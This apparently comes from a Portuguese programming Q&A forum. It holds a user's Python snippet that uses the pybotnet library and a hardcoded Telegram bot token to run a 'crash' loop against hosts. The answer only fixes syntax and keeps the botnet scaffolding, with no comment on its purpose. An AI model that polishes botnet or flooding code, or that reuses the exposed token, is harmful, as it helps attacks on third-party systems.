1
resposta

SyntaxWarning:"is" with a literal. Did you mean "=="?

Recebi este syntaxWarning após declarar a condição 'if status == ', pois minha intenção era dizer que se o host não responder a essa requisição de ping que pare a execução.

from pybotnet import BotNet, TelegramEngine
import threading
import socket
import time
import urllib.request


my_token = '6332099502:AAHpcX2Azb2TUOVHEx8-KkYTxu-1MJi_E3E'
my_id = '6540777026'
temp = 0
max_temp = 0
telegram_engine = TelegramEngine(token=my_token, admin_chat_id=my_id)
botnet = BotNet(telegram_engine)
def crash(waittime=1000):
    try:
        s = socket.socket()
        s.connect(('192.168.0.104', 443))
        data = s.recv(1024)        
    except Exception as e:
        pass
    while True:
        aim = 'https://www.fast.com' and temp < max_temp
        req = urllib.request.urlopen(aim)
        if status == os.system("ping -c 1 -W " + str(waittime) + " " +
                 aim + " > /dev/null 2>&1") is 0:
                 return socket.timeout(req)
                 break
threading.Thread(target=crash)
for item in range(500):
    botnet.run()
crash()

print: Insira aqui a descrição dessa imagem para ajudar na acessibilidade

1 resposta

Parece que você está tentando verificar se um host está ativo usando ping e, se não estiver, você quer parar a execução da função crash. Há alguns pontos no seu código que precisam de atenção para funcionar como você deseja:

Problemas e Soluções

  1. Uso do os.system() dentro da condição if: O os.system() executa um comando no shell e retorna o código de saída do comando. No entanto, você está tentando usar o status que não foi definido anteriormente, e sua condição não está corretamente formulada. Além disso, usar is para comparação de igualdade não é a forma correta, você deveria usar ==.

  2. Condição Ambígua: aim = 'https://www.fast.com' and temp < max_temp não está fazendo o que você espera. Essa linha atribui a variável aim ao valor de 'https://www.fast.com' se temp < max_temp, caso contrário, aim será atribuído a False. Essa lógica parece estar fora do lugar para o que você descreveu querer fazer.

  3. Importação Faltante: Você mencionou o uso de os.system() mas não mostrou a importação do módulo os em seu código.

  4. socket.timeout: Você está tentando retornar socket.timeout(req), o que não faz sentido neste contexto. socket.timeout é uma exceção que é levantada quando uma operação de socket excede o tempo limite, não é algo que você normalmente instanciaria e retornaria.

Código Corrigido

Considerando o que você quer fazer, aqui está uma sugestão de como corrigir e organizar seu código:

import os
import threading
import urllib.request

# Certifique-se de importar os módulos necessários
from pybotnet import BotNet, TelegramEngine

my_token = 'SEU_TOKEN'
my_id = 'SEU_CHAT_ID'
telegram_engine = TelegramEngine(token=my_token, admin_chat_id=my_id)
botnet = BotNet(telegram_engine)

def crash(aim='https://www.fast.com', waittime=1000):
    # Vamos simplificar a lógica de ping aqui
    # Assume-se que aim é uma string do host para pingar, por exemplo, "8.8.8.8" para Google DNS
    response = os.system(f"ping -c 1 -W {waittime} {aim}")
    if response != 0:
        print("Host não respondeu")
        return  # Termina a execução se o host não responder
    else:
        print("Host respondeu")

    # Se o host respondeu, você pode continuar sua lógica aqui

# Iniciar a função em uma thread
threading.Thread(target=crash).start()

# Para o loop que você tem, não está claro o que você está tentando alcançar
# Tenha cuidado ao criar muitas threads sem um controle apropriado
for item in range(500):
    botnet.run()

# Não está claro por que você chamaria crash() aqui novamente fora da thread
# crash()

Pontos Importantes:

  • Ajustei a função crash para realizar um ping simples ao host especificado e interromper sua execução se o host não responder.
  • Removi o código que não estava diretamente relacionado ao problema mencionado para focar na lógica de ping.
  • É importante substituir 'https://www.fast.com' por um endereço IP ou um domínio adequado para o comando ping, já que o comando ping não funciona com URLs.

Esteja ciente de que executar comandos de sistema como o ping pode ter implicações de segurança e desempenho, especialmente se os valores passados ao comando puderem ser manipulados por usuários ou fontes externas.

Insira aqui a descrição dessa imagem para ajudar na acessibilidade